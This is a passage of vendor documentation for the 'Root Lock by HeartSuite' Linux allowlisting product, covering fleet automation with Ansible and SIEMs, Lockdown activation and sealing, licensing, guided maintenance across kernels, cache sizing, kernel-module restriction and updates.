Idempotency: All allowlist operations return CommandResult with kind == "noop" when an entry is already present. The role uses this for correct changed_when reporting, so repeated plays do not show spurious changes.

Minimal example playbook:

# heartsuite-root-lock.yml
- name: Configure HeartSuite allowlist and engage Lockdown
  hosts: heartsuite_fleet
  become: true
  vars:
    hs_state: secure
    hs_programs:
      - /usr/sbin/sshd
      - /usr/bin/python3
    hs_seeds:
      - /var/lib/ansible/heartsuite/seed.txt
  roles:
    - heartsecurity.root_lock

After switching to secure or lockdown, a reboot is typically required for full seal; the role does not reboot automatically. Register facts (hs_status, hs_apply_result, hs_switch_result) are available for assertions or subsequent tasks.

Python API alternative: For custom Ansible modules or non-Ansible automation, the same primitives are exposed directly via limited_tools: approve_program_path, apply_allowlist_seed, get_status, get_allowlist_programs, and switch_to_secure. These reuse the same gates and CommandResult semantics. The heartsecurity.root_lock role is the preferred declarative path; use the Python API when you need bespoke orchestration beyond the role variables.

Register playbooks as the mechanism that executes change records approved in your central system.

Shell + register alternative

Use Ansible to distribute seed files and invoke the batch or management tools with become: true:

# heartsuite-policy-apply.yml
- hosts: heartsuite_fleet
  become: true
  tasks:
    - name: Copy central program seed list
      copy:
        src: "policy/seeds/programs-{{ inventory_hostname }}.txt"
        dest: "/tmp/heartsuite-programs.txt"
        owner: root
        mode: '0600'

    - name: Apply baseline programs via batch tool
      shell: "/.hs/sys/batch_record_add.py /tmp/heartsuite-programs.txt"
      args:
        creates: "/.hs/sys/allowlist_applied_{{ inventory_hostname }}.stamp"

    - name: Apply targeted network and file deltas from central policy
      shell: |
        hs-manage-allowlist add -x /usr/bin/curl -n 93.184.216.34
        hs-manage-allowlist add -r /etc/ssl/certs -w /var/log/app
      # Idempotency and error handling left to your playbook

    - name: Record application in central audit
      shell: "hs-manage-allowlist list > /tmp/current-allowlist-{{ inventory_hostname }}.txt"
      delegate_to: localhost
      # Then copy or commit the harvest back to your policy repo

This pattern does not use CommandResult.kind == "noop" for changed_when; implement your own idempotency checks (for example creates, or register + conditional tasks).

2. Splunk / Elastic (and similar SIEMs) — ingesting for central dashboards and policy triggers

The primary use of Splunk and Elastic is consumption of the structured data streams (see SIEM and Fleet Integration). Once events are in the SIEM:

• Build dashboards showing per-node mode, pending counts (from status.json), block rates, and approval activity (from the JSONL approval log forwarded via syslog or other shipper).
• Build views of the current allowlist and associated risks from the structured policy snapshots and posture data, including tables of programs with grant counts, risk_level, broad-write and network flags, and record_hash for drift detection.
• Use SOAR playbooks or alert actions in the SIEM to trigger Ansible Tower / AWX jobs or Terraform runs that apply approved policy updates back to affected hosts.
• Correlate HeartSuite enforcement events with change tickets to close the audit loop.

Syslog is the recommended high-volume path for both the per-decision enforcement stream and higher-level alerts. For richer views of the allowlist and posture (tables, metrics, and correlation) see SIEM and Fleet Integration.

3. Terraform + GitOps — policy in repository, applied at provision and drift remediation

Store allowlist seeds and change manifests in the same Git repository as your infrastructure code.

• Use Terraform local_file or templatefile to render per-host or per-role seed files from a central policy definition.
• During terraform apply, a remote-exec provisioner, local-exec that calls Ansible, or a custom provider runs the seed application and hs-manage-allowlist invocations on the new or updated instance.
• Drift detection: scheduled jobs (or Terraform Cloud/Enterprise runs) harvest current state via hs-manage-allowlist list or cat ~/.cache/heartsuite/status.json, compare against the repo, and open PRs or apply corrections.
• Git history becomes the authoritative change record for policy; the on-host JSONL approval log provides the per-host attribution of when and by which uid/tty the change was executed.

This pattern works especially well for immutable or frequently reprovisioned fleets.

4. ServiceNow or ITSM platforms — change-driven policy

• Model allowlist additions, removals, or baseline updates as standard or emergency change requests.
• Approved changes update a central policy repository (Git, CMDB, or dedicated store) or directly enqueue an automation job.
• The automation (Ansible, scripts, or ServiceNow Flow Designer + MID server) applies the delta to the target hosts using the CLI tools above.
• On completion, the automation closes the change ticket and posts the resulting JSONL approval log excerpts (or a pointer to the SIEM record) as evidence.

This keeps policy changes inside the same approval workflow used for all other infrastructure changes.

5. Custom scripts and other configuration management (Puppet, Chef, Salt, etc.)

Any tool that can copy files and run commands as root on the target can drive policy:

• Puppet: a custom resource or exec that writes a seed list managed by Hiera or PuppetDB and then invokes batch_record_add.py or hs-manage-allowlist.
• Chef: a recipe that templates policy from a data bag and executes the CLI tools.
• Pure scripts (Python, Bash, or your language of choice) run from a central runner or cron on a bastion: query the authoritative policy store, compute the diff for each host (or use a node-specific tag), SSH in, and apply.

The dedicated JSONL approval log (with uid/tty attribution for each change) and the enforcement/alert syslog streams give you the same audit trail regardless of which tool performed the apply.

Consuming data for central visibility, auditing, and harvesting

All of the following surfaces are available without additional configuration once the daemon is running. They are the mechanism by which your central tooling observes state and reconstructs history.

• Status JSON (~/.cache/heartsuite/status.json, updated every 60 seconds) — lightweight pull surface for health and pending counts. Use from Ansible facts, Nagios/Zabbix checks over SSH, or any scheduled collector. Key fields for fleet dashboards: mode, lockdown, is_hs_kernel, daemon_ok, pending_* counts, node_id. See the schema in the Appendices.

• Dedicated JSONL approval log — persistent, append-only record of every allowlist change (program, file path, or network destination) with timestamp, uid, and tty. This is the primary artifact for change attribution and audit reconstruction. Forward it (or its directory) via your existing log shipper alongside the syslog streams.

• Structured syslog streams — two real-time RFC 5424 streams under the heartsuite APP-NAME. One carries every kernel decision (enforcement: HS-PROG-DENY, HS-FILE-DENY, etc.). The other carries aggregated alerts (new_program_blocked, mode changes, etc.). A single rsyslog rule forwards both. Full configuration examples and Filebeat patterns are in the SIEM and Fleet Integration page.

• Webhook — HTTPS POST of compact JSON alert payloads on every significant event. Configure the endpoint in Alert Settings; use for immediate routing into ServiceNow, PagerDuty, or your own policy-evaluation service.

• Harvest current allowlist state — run hs-manage-allowlist list (or the equivalent Dashboard export) on a schedule or on demand and commit the output to your central policy repository. This closes the loop: central sees what is actually enforced on each host and can detect drift or feed the next baseline.

See Alert Settings for configuration of syslog and webhook (Fleet tab) and SIEM and Fleet Integration for production-scale ingestion patterns.

Relationship to the Dashboard and Lockdown

The Dashboard remains the right surface for one-off investigation, initial setup on a new host, and guided maintenance windows. At fleet scale, routine policy application and observation move to your central tooling.

Lockdown itself is still activated per host (after subscription activation and alert-channel prerequisites). Once active, the kernel and the immutable seal protect the applied policy exactly as they do for Dashboard-driven changes. Alerts for “new allowlist file pushed while Lockdown is active” fire on all configured channels, giving your central systems immediate visibility into any out-of-band modification.

Next steps and related documentation

• Configure the base alert channels on a pilot host: Alert Settings
• Review the CLI tools available for automation: Batch Allowlisting Tools and Appendices.
• Set up log ingestion: SIEM and Fleet Integration.
• Understand maintenance windows and when policy changes are permitted: Maintenance.
• Compliance context for auditors: SOC 2 Control Mapping and Compliance Reference: NIST CSF & ISO 27001.

For support with large-scale or custom automation patterns, contact support@heartsecsuite.com.

9 - Mode Switching and Lockdown

Overview: When you lock down from Setup Mode, the kernel blocks every program not on the allowlist (including any you forgot to approve). The Dashboard guides the activation through a precondition checklist and a deliberate confirmation. Lockdown seals the allowlist: no program or user, including root, can modify it while the server is running.

System states

Root Lock by HeartSuite has two modes: Setup Mode and Lockdown. Both run on the Root Lock by HeartSuite kernel. Lockdown seals the configuration with filesystem immutability. Both running Lockdown without the immutable seal and running Lockdown with the seal are valid configurations depending on your security requirements. Booting the original maintenance kernel is not a Root Lock by HeartSuite mode at all; it is the machine running without Root Lock by HeartSuite.

In Setup Mode and Lockdown, the Root Lock by HeartSuite kernel is loaded. Backups, logging, and the Dashboard all function normally in both. Booting the maintenance kernel means Root Lock by HeartSuite is completely absent (no blocking or logging takes place, and backups do not run).

The indicator at the top of the Dashboard shows the current protection state, and the Suggested Next Step tells you what to do next.

Trust graduation across modes

Each mode defines a different trust boundary. In Setup Mode, you are trusted to teach the allowlist — anything not on the allowlist is logged but not blocked. In Lockdown, trust is withdrawn from running programs regardless of which user runs them; any program, including one running as root, must be on the allowlist. With the immutable seal applied, your ability to change the allowlist at runtime is also withdrawn — configuration is sealed until the next reboot. Maintenance reopens that window deliberately, and booting the maintenance kernel for Lockdown recovery requires physical presence — a keyboard and monitor, a serial port, or your cloud provider’s serial console — preventing a remote attacker from triggering it.

Protection state

The indicator at the top of the Dashboard reflects the current protection state:

Setup Mode and Lockdown

At some point, you need to lock down to prevent malicious programs from starting, or to restrict the files and network destinations those programs can reach. Lockdown activation (Phase 7) is locked until all prior phases (2 through 6) are finished. The Dashboard tracks your progress through these phases and will indicate when Lockdown activation is available as the Suggested Next Step.

If you have not added the necessary access permissions or network address permissions to allowlist entries, Root Lock by HeartSuite will block programs from accessing those files and network addresses when you activate Lockdown.

Once Root Lock by HeartSuite is set up, consider continuing in Setup Mode for several days. During that time, the review queues will capture additional file and network access activity — giving you a more complete allowlist before activating Lockdown.

When installing new software, you must return to Setup Mode. For example, the Debian package manager dpkg creates temporary directories during installation. In Lockdown, this generates a permission error and the installation halts. The temporary directory is removed before it can be added to an allowlist entry. Switch to Setup Mode before using dpkg, add any additional access permissions needed, then re-engage Lockdown.

graph TD
    A["Dashboard: Phase Progress complete"] --> B["Review queues empty — ready for Lockdown"];
    B --> C["Dashboard Lockdown button (`[l]`) — prep with per-panel actions/opt-outs (e.g. [u] undo grants, [p] patch, [g] restrict tools, [x] exclude) before YES"];
    C --> D["[r] Reboot — Lockdown active on next boot"];
    D --> E["Lockdown active"];
    E --> G{Maintenance needed?};
    G --> |"Yes — immutable seal active"| I["Maintenance [m] → guided 3-step process\nStep 1: Boot maintenance kernel, [u] remove flags\nStep 2: Make changes\nStep 3: Boot Root Lock kernel, review new activity"];
    G --> |"Yes — no immutable seal\n(most installs and patches)"| O["Maintenance [m] → switch to Setup Mode\nOne reboot, Root Lock by HeartSuite kernel stays active"];
    I --> J["Make changes, update allowlist from Dashboard"];
    O --> J;
    J --> N["Return to Lockdown from Dashboard"];
    N --> E;

Switching between modes

Dashboard-first Lockdown activation

The Dashboard is where you activate Lockdown. When all preconditions are met, the Suggested Next Step will offer Lockdown activation. The precondition checklist includes:

• All review queues are empty (Programs [p], File Access [f], Internet Access [i])
• Boot configuration is complete (System Setup)
• Phase 7 is unlocked (phases 2 through 6 complete)

When preconditions are satisfied, the Dashboard presents the activation option.

Activating Lockdown

From the Dashboard, select the Lockdown button ([l]). The Dashboard shows a precondition checklist, an observation period summary, and a review of your allowlist. Before the final confirmation, the prep shown during Lockdown activation (on the Lockdown screen) offers per-panel actions and opt-outs:

• [u] undo auto-narrowed install write grants (also surfaces for kmod directory and broad write grants by priority)
• [p] patch HeartSuite install paths into the Lockdown seal configuration
• [g] restrict rm/cp/mv to their observed directories (captures usage from Setup; mitigates GTFOBins-style abuse of maintenance tools)
• [x] exclude specific write-conflict paths from the seal
• plus SSH hardening ([h], [r]/[j]) and inbound permit selection ([o]/[a])

The commitment summaries and the separate Lockdown Inventory view ([l]) are read-only. Adjustments happen via the prep actions on the activation screen, not via the inventory. When all preconditions are met, type YES (case-sensitive) to confirm activation.

(The diagram shows the checklist and review state; the actual activation flow uses the prep actions listed above rather than interactive views on the inventory. The inventory and commitment panels are read-only.)

After confirming, the Dashboard offers one reboot option:

• [r] Reboot — Lockdown active on next boot

Lockdown is applied on the next reboot and persists — to make changes, use the Dashboard’s Maintenance ([m]), which guides you through booting the maintenance kernel and removing the seal.

Returning to Setup Mode

From the Dashboard, use the Lockdown button ([l]) to return to Setup Mode for maintenance. You must return to Setup Mode before installing packages or making configuration changes that Lockdown would block.

Switching mode from a Non-HS Kernel

When booted into the maintenance kernel, set the mode before rebooting to the Root Lock by HeartSuite kernel:

# sudo hs-mode-switch on

Lockdown: sealing the system

Lockdown seals Root Lock by HeartSuite’s configuration with filesystem immutability, so a compromised root account cannot tamper with the allowlist while the system runs. The seal is system-wide: configuration, system files, accounts, scheduled tasks, and the maintenance tools themselves — all sealed in one step. The Dashboard displays the current Lockdown status and provides the Suggested Next Step for managing it.

Lockdown is applied automatically as part of activating Lockdown from the Dashboard. Once engaged, it persists until you exit through the Dashboard’s Maintenance ([m]), which guides you through booting the maintenance kernel to remove the seal. The table below shows what changes between Lockdown without the immutable seal and Lockdown with the seal.

What Lockdown does

Once Lockdown is engaged, Root Lock by HeartSuite seals five things at once, all using chattr +i. Before you confirm, the Dashboard shows the paths that will be sealed, grouped by category with counts. The list is shown for review only. The Maintenance restores mutability for the necessary tools automatically.

The five categories Lockdown seals:

• HeartSuite configuration — your allowlist files, the mode state file, and the kernel image directory. Defends against allowlist tampering and kernel swap by an attacker who escalates to root.
• System integrity — shared libraries (/usr/lib/), systemd unit directories, the SSH server config, and sudo policy. Defends against shared-library injection (a modified libc.so backdooring every program loading it), malicious systemd units installed to fire on next boot, and SSH or sudo policy weakened by a brief root compromise.
• Authentication state — the account database (/etc/passwd, /etc/shadow, /etc/group) and no-login shells. Defends against an attacker who reaches root creating accounts, changing passwords, or converting service accounts into interactive logins.
• Scheduled tasks and login scripts — cron and anacron configuration, environment defaults, and root’s shell profiles. Defends against an attacker scheduling a script to run after a reboot but before Lockdown re-engages, and against bash-profile backdoors that run on the next root login.
• Maintenance tools — file editors (nano, vim, sed, ed) made non-executable, and rm/cp/mv replaced with restricted copies whose write access is limited to the paths the kernel saw those tools used for during Setup Mode. Defends against a compromised approved program leveraging admin tools that run with their own broad scope, not the caller’s.

If the HeartSuite kernel fails to load, the startup script isolates the primary network interface and removes all immutable flags. The machine is then without HeartSuite protection and without network access. Recovery requires booting to the maintenance kernel from physical or serial-console access, repairing or replacing the failed kernel, and re-engaging Lockdown through the maintenance journey.

Once Lockdown is engaged, the Root Lock by HeartSuite kernel disables chattr entirely — no user or program, including root, can change the immutability flags. This means no allowlist entries, configuration files, or protected directories can be modified, deleted, or added while Lockdown is active.

Lockdown persists across reboots — the HeartSuite startup script re-engages it automatically each time the HeartSuite kernel starts. The only way to remove it is to boot the maintenance kernel and follow the maintenance journey. Lockdown cannot be engaged in Setup Mode; if you try, an error message is written to the kernel log. The filesystem immutability applied by Lockdown via chattr +i is a flag stored on disk, not in kernel memory. This means that immutable flags set during Lockdown persist across reboots, including reboots into the maintenance kernel. If you boot the maintenance kernel for maintenance after Lockdown was active, the Dashboard’s Maintenance wizard runs HS_unlock.sh for you via [u] Remove Flags. For recovery outside the Dashboard, run HS_unlock.sh before attempting to modify any files that were made immutable.

What this closes off

Two of the five seals close attacks that are easy to miss.

Compromised programs cannot borrow another program’s tools. When an approved web server runs rm, the deletion uses rm’s permissions, not the web server’s. rm legitimately needs broad access during maintenance — so its allowlist is broad. A compromised approved program could otherwise borrow that breadth. Lockdown replaces rm with limited_rm, whose own write paths cover only what the system was observed using rm for during Setup Mode. Same for cp and mv.

Nothing planted before the reboot survives it. Lockdown engages after boot — there’s a brief gap between the system coming up and the seal taking hold. Without sealing cron, anacron, environment defaults, and root’s shell profiles, an attacker who reached root before a reboot could plant a script to run in that gap. With those files sealed during the prior Lockdown, the script never reaches them — and on the next boot, nothing has changed.

Automatic Lockdown on boot

By default, the HeartSuite startup script re-engages Lockdown automatically on every Root Lock by HeartSuite kernel boot. Once active, rebooting will always engage Lockdown before you can prevent it.

During Maintenance Step 1, the Dashboard presents a guided choice: [d] Disable automatic Lockdown re-engagement or [k] Keep it. You do not need to edit any scripts manually. To disengage Lockdown when automatic re-engagement is active, boot to the maintenance kernel; this procedure is discussed in Protecting During Maintenance.

Restoring mutability after Lockdown

You can make files and directories mutable again once Lockdown is no longer active. The Dashboard’s Maintenance ([m]) handles this automatically during the guided maintenance process — Step 1 of 3 offers [u] Remove immutable flags. For recovery outside the Dashboard, run HS_unlock.sh.

If you try to write to an immutable file without removing the flags first, you will encounter the error “could not open file; errno:1.”

Before rebooting, the Maintenance ([m]) sets the GRUB default to the Maintenance entry (Non-HS / Setup Mode destination) automatically — no GRUB menu interaction is required. If automatic GRUB configuration does not apply (Alpine or an unsupported bootloader), the Dashboard displays the exact entry to select manually, which requires console access: a keyboard and monitor, a serial port, or your cloud provider’s serial console. Returning to the Root Lock by HeartSuite kernel after maintenance is also automatic: the Dashboard restores the Root Lock by HeartSuite kernel as the GRUB default before rebooting back, so no GRUB interaction is needed on the return trip either.

Lockdown commands

These are the actual scripts Lockdown uses. Most users never invoke them directly — the Dashboard’s [l] Lockdown button and [m] Maintenances run them for you.

• HS_lockdown.sh — runs when you apply Lockdown from the Dashboard, and automatically on every Root Lock by HeartSuite kernel boot when auto-engagement is enabled. It seals Root Lock by HeartSuite’s configuration with chattr +i, disables file editors, replaces rm/cp/mv with restricted copies, then engages Lockdown via the kernel.
• HS_unlock.sh — reverses HS_lockdown.sh. The Maintenance runs this for you when you press [u] as Step 1 of the Lockdown maintenance flow. Run it yourself only for recovery outside the Dashboard.
• hs-unlock-progs — internal helper called by HS_unlock.sh. Not invoked directly in normal use.

Setup is complete. When you need to install software, update configuration, or recover from Lockdown, see Maintenance.

10 - Licensing and Subscription

Overview: A subscription is required to activate Lockdown (Phase 7). The Dashboard shows your current subscription status alongside phase progress and alerts.

Subscription

A subscription is required before you can activate Lockdown. Phase 7 (Lockdown) is locked until phases 2-6 are complete and a valid subscription is activated. See Mode Switching and Lockdown for the activation flow with per-panel actions/opt-outs and read-only inventory.

The subscription is a simple text file. One subscription can cover up to 9999 servers — at the time of purchase, you specify how many servers the subscription covers. You can purchase additional subscriptions if needed.

After downloading the subscription file, copy it to each server it covers. Regardless of the original filename, it must be copied as HS_license.txt in the /.hs/sys directory. For example:

# sudo cp MyCompany_HS_license.txt /.hs/sys/HS_license.txt

After copying the subscription file, register it using register_HS_license. The command requires the IP address of the Root Lock by HeartSuite Activation Server and the port number (6121). Run the following command, replacing <ip> with the address from your activation email:

# sudo /.hs/sys/register_HS_license <ip> 6121

If activation is successful, the program creates an activation key and displays a confirmation message. If an error occurs, an error message is displayed. You need to activate each server only once.

Dashboard subscription status

The Dashboard shows subscription status when it requires attention — an expired subscription appears as a warning on the Dashboard with a direct link to the upgrade page. A valid, active subscription is not displayed separately; the absence of a warning confirms that the subscription is in good standing. Phase 7 (Lockdown) unlocks when phases 2-6 are complete.

With your subscription active and phases 2-6 complete, proceed to Mode Switching and Lockdown to activate Lockdown.

HeartSuite kernel source code (GPL)

The HeartSuite kernel ships as binaries in your coordinated install bundle. Corresponding kernel source is available on written GPL request — not via a public repository. Email support@heartsecsuite.com with uname -r, your HeartSuite product version, and bundle checksum reference if known. Full process and verification alternatives: Supply Chain and Advisory Feeds → HeartSuite kernel source code (GPL).

For procurement and CISO details on how the subscription covers the kernel (risk transfer, SLAs, verification artifacts) in the context of enterprise adoption, see Kernel Hardening → Enterprise Adoption Guide.

11 - Advanced Configuration and Maintenance

Overview: Every maintenance window is an attack window — in Setup Mode the kernel logs but stops blocking, or on the maintenance kernel Root Lock by HeartSuite is not loaded at all, while changes are made. These guides cover how to perform maintenance safely without leaving gaps an attacker can exploit. The Dashboard displays the current protection state — including Lockdown status — and provides the Suggested Next Step throughout maintenance.

Maintenance is a time period during which you temporarily step out of Lockdown to make changes. It is not a separate mode. Root Lock by HeartSuite has two modes: Setup Mode and Lockdown. During maintenance, you either switch to Setup Mode (the kernel logs but stops blocking) or boot the maintenance kernel (Root Lock by HeartSuite is not loaded at all) depending on whether the immutable seal is active — the Dashboard’s Maintenance ([m]) detects this automatically and guides you through the correct path.

For most maintenance — installing packages, applying patches, editing configuration — the correct path is switching to Setup Mode. That requires one reboot, stays on the Root Lock by HeartSuite kernel, and needs no GRUB interaction. Booting the maintenance kernel is only required when Lockdown+sealed is active.

The Maintenance appears only when the system is in Lockdown, Lockdown+sealed, or on the maintenance kernel. It is not shown in Setup Mode — because in Setup Mode, you are already in the maintenance-ready state and the Dashboard’s review queues and Suggested Next Step are the workflow.

In this section

• Protecting During Maintenance — Step-by-step guidance for maintenance windows, from the safety checklist through Lockdown recovery across two reboots.
• File Backup and Versioning — Automatic versioned backups that even root cannot reach under Lockdown — restore any earlier version of a file when needed.
• Cache Adjustment — Tuning the allowlist cache for servers with large numbers of concurrent programs.
• Restricting Kernel Module Loading — Limiting kmod’s access to specific modules for deployments where kmod is allowlisted.
• Updating HeartSuite — Apply a HeartSuite update bundle, including the two-reboot sequence and Lockdown considerations.

11.1 - Protecting During Maintenance

Overview: Every maintenance window is an attack window — blocking is temporarily suspended, and anything an attacker can reach during that period is unprotected. Maintenance — such as installing packages, editing files, or applying updates — is the period during which you temporarily reduce Root Lock by HeartSuite’s protection to make changes. Grants can be narrowed at Lockdown activation time via per-panel actions/opt-outs on the prep shown before confirmation; the Dashboard’s Maintenance ([m]) guides you through the entire process, from safety preparation to re-engaging Lockdown (including restoring or re-approving as needed). The Maintenance appears only when the system is in Lockdown, Lockdown+sealed, or on the maintenance kernel — it is not shown in Setup Mode, because in Setup Mode you are already in the maintenance-ready state.

Most maintenance uses Option 1 below — a single reboot that stays on the Root Lock by HeartSuite kernel in Setup Mode. No GRUB interaction and no old kernel required. Option 2 (booting the maintenance kernel) is only needed when the immutable seal is active, which is the less common path.

Starting maintenance

From the Dashboard in Lockdown, select Maintenance ([m]). The Dashboard automatically detects whether the immutable seal is active and presents the correct path — you do not need to determine this yourself.

Safety checklist

Before any mode change, Maintenance presents a safety checklist. The Dashboard auto-detects system state where possible and shows the status of each item:

• Network isolation — disable network interfaces or restrict firewall rules to prevent remote access during maintenance
• Server processes — shut down daemons (e.g., web servers) to close attack vectors
• SSH access — no root login, key-based auth only, source IP restriction

The Dashboard shows green checkmarks for items that pass and amber warnings for items that need attention. Press [c] Confirmed to proceed or [s] Skip to continue without completing the checklist. If you skip, the Dashboard displays a persistent reminder throughout the maintenance period — it does not disappear until you re-engage Lockdown.

Option 1: switch to Setup Mode (no Lockdown)

This is the standard maintenance path. The Root Lock by HeartSuite kernel stays active. Logging and backups remain fully operational.

After completing the safety checklist, the Maintenance explains what will change:

• Root Lock by HeartSuite switches from blocking to logging only
• The Root Lock by HeartSuite kernel remains active
• Backups continue running
• The existing allowlist is preserved
• New activity is logged, not blocked — it will appear in the review queues when you re-engage Lockdown

Type YES (case-sensitive) to confirm the switch. The Dashboard reboots to apply the mode change.

After rebooting, the Dashboard shows Setup Mode is active with a Suggested Next Step. If the safety checklist was skipped, a persistent reminder appears. Make your changes — install packages, edit configuration, update software. Root Lock by HeartSuite logs all new activity silently.

When finished, re-engage Lockdown from the Dashboard. New activity from the maintenance period appears in the review queues. Review and approve them through the standard allowlisting flow before Lockdown resumes.

Option 2: boot the Non-HS Kernel (Lockdown active)

When Lockdown is active, the Maintenance does not offer the Setup Mode switch. Instead, it explains the situation and guides you through a 3-step process. This is the most complex journey in the product — it involves two reboots, a kernel selection at GRUB where the Dashboard cannot guide you, and a period where Root Lock by HeartSuite is completely absent.

Step 1 of 3: boot Non-HS Kernel and remove immutable flags

After the safety checklist and typing YES to confirm, the Dashboard prepares you for the GRUB boot menu — the one moment where it cannot provide guidance. It shows the exact entry to select (Maintenance or vanilla Non-HS; do not select the branded HS / Root Lock by HeartSuite kernel). Press [r] to reboot.

The Dashboard saves your maintenance session state before rebooting. This state persists across reboots and kernel changes — the step counter (“Step X of 3”) follows you throughout the process.

After selecting the appropriate Non-HS / Maintenance entry from GRUB, the Dashboard resumes automatically on login. It detects the absence of the Root Lock by HeartSuite kernel module and adjusts its interface — actions that require the Root Lock by HeartSuite kernel are hidden entirely, not greyed out. The Dashboard shows:

• “maintenance kernel active. Root Lock by HeartSuite is not loaded.”
• “No blocking. No logging. No backups.”
• “Maintenance step 1 of 3: Remove immutable flags.”

Press [u] to remove the immutable flags set by Lockdown. After the flags are removed, the Dashboard presents the automatic Lockdown re-engagement choice:

• [d] Disable automatic Lockdown re-engagement — the startup script will no longer apply Lockdown on boot. You can re-enable this later. This simplifies future maintenance.
• [k] Keep automatic re-engagement — Lockdown will re-apply on every Root Lock by HeartSuite kernel boot. Future maintenance will require this same process.

Both options carry equal weight — neither is recommended over the other. The choice depends on your operational needs.

Step 2 of 3: make your changes

The Dashboard transitions to the maintenance workspace:

• “Maintenance step 2 of 3: Make your changes.”
• “You are on the maintenance kernel. Root Lock by HeartSuite is not active. Changes made now will not be logged.”

Make your changes — install software, update packages, modify configuration files. When finished, press [f] to prepare the return to the Root Lock by HeartSuite kernel. The Dashboard pre-configures Setup Mode for the next boot.

Step 3 of 3: boot Root Lock by HeartSuite kernel and review

Select the branded Root Lock by HeartSuite (HS) kernel from GRUB. The Dashboard appears automatically, showing Setup Mode is active and displaying the maintenance step counter. Software installed during maintenance may generate new entries — these appear in the review queues. Review and approve them, then re-engage Lockdown from the Dashboard. If the immutable seal was previously active and you kept automatic re-engagement, Lockdown will re-apply on the next reboot.

Manual recovery outside the Maintenance

When Lockdown makes files immutable using chattr +i, those flags are stored at the filesystem level and persist across reboots — including reboots to the maintenance kernel. If you attempt to modify a file that was made immutable during a previous Lockdown session, you will encounter an error such as “could not open file; errno:1.” The Maintenance’s [u] Remove immutable flags handles this automatically during Step 1 of the Lockdown path. For recovery outside the Dashboard, run HS_unlock.sh.

11.2 - Adjusting the Cache Size

Overview: Root Lock by HeartSuite caches allowlist entries in kernel memory for performance — each cache slot holds one program. The Dashboard automatically expands the cache to match your allowlist size, so for most systems no tuning is needed. Manual adjustment is only relevant when the allowlist exceeds the kernel cache maximum of 255 entries.

Automatic cache expansion

On startup and every state refresh, the Dashboard compares the size of your allowlist against the current kernel cache size. If the allowlist is larger, the Dashboard silently expands the cache to fit — up to the kernel maximum of 255 entries. The minimum cache size is 10 entries.

This runs in the background on the Dashboard’s normal 60-second refresh cycle. You do not need to invoke any CLI tool, change any settings, or even know the current cache size — the Dashboard handles it whenever it loads or refreshes.

When the allowlist exceeds 255 entries

If your allowlist grows beyond 255 entries — unusual for most workloads, but possible on servers running many distinct programs — auto-expansion stops at the kernel maximum. The Dashboard logs a warning:

Allowlist has 312 entries but kernel cache max is 255; consider removing unused entries.

The Allowed ([a]) is the place to review and remove entries you no longer need. After pruning, the Dashboard’s next refresh fits the cache to your trimmed allowlist automatically.

CLI access for scripting and automation

For scripting and automation workflows that run without the Dashboard, hs-cache-size sets the cache to a specific size between 10 and 255:

# hs-cache-size 128

The Dashboard is the supported path for normal use.

11.3 - Restricting Kernel Module Loading

Overview: Root Lock by HeartSuite does not add kmod, modprobe, or insmod to the allowlist during installation — in Lockdown, none of them can execute, and no additional configuration is needed for module loading on a standard deployment. If your hardware requires kmod at startup to load device drivers or filesystem modules, kmod must have an allowlist entry. In that case, restrict kmod’s file access permissions to only the specific modules it needs before engaging Lockdown. An allowlisted kmod with unrestricted file access can load any module on the system.

Default deployments: no action required

If kmod, modprobe, and insmod have no allowlist entries, Root Lock by HeartSuite refuses to execute them in Lockdown. No module-loading hardening is needed — skip this page.

When kmod is allowlisted

Some hardware configurations require kmod at startup to dynamically load drivers or filesystem modules the system needs to boot. Once kmod has an allowlist entry, it can execute — and without further restriction, kmod’s file access permissions determine which modules it can load.

The hardening step is to narrow those file access permissions to the specific module paths kmod legitimately needs. If kmod attempts to load a module outside its permitted paths, Root Lock by HeartSuite blocks the file access in Lockdown before the module can be read.

Restricting kmod’s file access permissions

Do this before engaging Lockdown. Once Lockdown is active, allowlist entries are sealed and cannot be modified without a maintenance window.

When kmod’s startup activity appears in the File Access queue ([f]) during Setup Mode, approve individual .ko file paths rather than directory-level access. Approving a directory grants kmod read access to everything under it — including modules not present during observation. Approving specific file paths limits kmod to exactly what it accessed during Setup Mode.

If kmod already has directory-level file access permissions, use hs-manage-allowlist to remove the broad entries and re-add specific paths. See hs-manage-allowlist --help for usage.

After narrowing kmod’s file access permissions, reboot and confirm the system starts normally with no kmod access denials in the review queues. Then activate Lockdown from the Lockdown button ([l]). If kmod still has directory-level access at that point, the Dashboard shows it in the review (as advisory) before confirmation. You can opt back in via [u] undo (priority after install) or adjust before typing YES (case-sensitive). See Mode Switching and Lockdown for prep actions.

Per-user shell profile coverage

Lockdown seals system-wide shell configuration — /etc/profile, environment defaults, and cron — preventing an attacker from planting scripts that run at the next boot and expand kmod’s permissions before Lockdown re-engages. Per-user profile files (~/.bash_profile, ~/.bash_login, ~/.profile, ~/.bashrc, ~/.inputrc) are not covered automatically because the correct set depends on your user configuration.

If your deployment requires coverage for specific user accounts, enable the commented-out entries for those users in HS_lockdown.sh before engaging Lockdown.

How Lockdown reinforces the restriction

After Lockdown engages, three layers protect against module-loading attacks:

• Allowlist entries are sealed — kmod’s allowlist entry cannot be modified while Lockdown is active. An attacker cannot add new module paths even with root access.
• Startup scripts are sealed — Lockdown seals system-wide shell configuration, systemd unit directories, and cron. Attackers cannot insert scripts that would run before Lockdown re-engages on the next boot and expand kmod’s permissions.
• Kernel-level block — Lockdown blocks new module loads at the kernel level, independently of the allowlist.

11.4 - Updating HeartSuite

Overview: A HeartSuite update is delivered as a single self-extracting bundle (heartsuite-install.sh) that replaces the Root Lock by HeartSuite kernel and its userspace tools in one operation.

What an update changes

• The Root Lock by HeartSuite kernel (vmlinuz-<version>-HeartSuite-<patch>)
• HeartSuite userspace tools (activate_HS, lockdown_HS, Secure Script Launchers, setup scripts)
• The Dashboard files under /opt/heartsuite/
• GRUB configuration, so the new kernel becomes the default boot target

It does not modify user data, the existing allowlist entries, or backup files. Root Lock by HeartSuite may add new allowlist entries if the new kernel encounters programs that were not running under the previous kernel.

Why two reboots are required

The running Root Lock by HeartSuite kernel cannot replace itself. The installer verifies this and aborts if it detects it is running on the Root Lock by HeartSuite kernel. An update therefore requires:

1. A reboot from the Root Lock by HeartSuite kernel to the maintenance kernel.
2. Running the installer on the maintenance kernel.
3. A reboot back into the new Root Lock by HeartSuite kernel.

Root Lock by HeartSuite is not active while the maintenance kernel is running. Schedule updates during a planned maintenance window.

Before you begin

